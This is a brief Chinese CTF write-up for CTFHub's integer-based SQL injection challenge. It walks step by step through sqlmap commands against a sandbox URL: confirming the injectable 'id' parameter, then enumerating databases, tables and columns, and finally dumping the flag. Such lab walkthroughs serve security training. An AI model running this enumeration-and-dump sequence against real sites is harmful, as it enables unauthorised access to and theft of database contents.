SQL注入
整数型注入
1.打开链接根据提示输入1
1.先检查数据库有无注入点
python sqlmap.py -u http://challenge-7a209e58efdf655a.sandbox.ctfhub.com:10080/?id=1
得到,发现id易受攻击可当注入点
GET parameter 'id' is vulnerable.
2.检查全部数据库结构,发现有四个数据库,其他都是sql自带的,说明目标在sqli里
python sqlmap.py -u http://challenge-7a209e58efdf655a.sandbox.ctfhub.com:10080/?id=1 --dbs
3.查询sqli里有多少表,发现flag表
python sqlmap.py -u http://challenge-7a209e58efdf655a.sandbox.ctfhub.com:10080/?id=1 -D sqli --tables
4.进入flag表,发现仅有一列 flag
python sqlmap.py -u http://challenge-7a209e58efdf655a.sandbox.ctfhub.com:10080/?id=1 -D sqli -T flag --columns
5.获取数据,即获得flag
python sqlmap.py -u http://challenge-7a209e58efdf655a.sandbox.ctfhub.com:10080/?id=1 -D sqli -T flag -C flag --dump
CTFHub 整数型SQL注入(该题的另一种解法)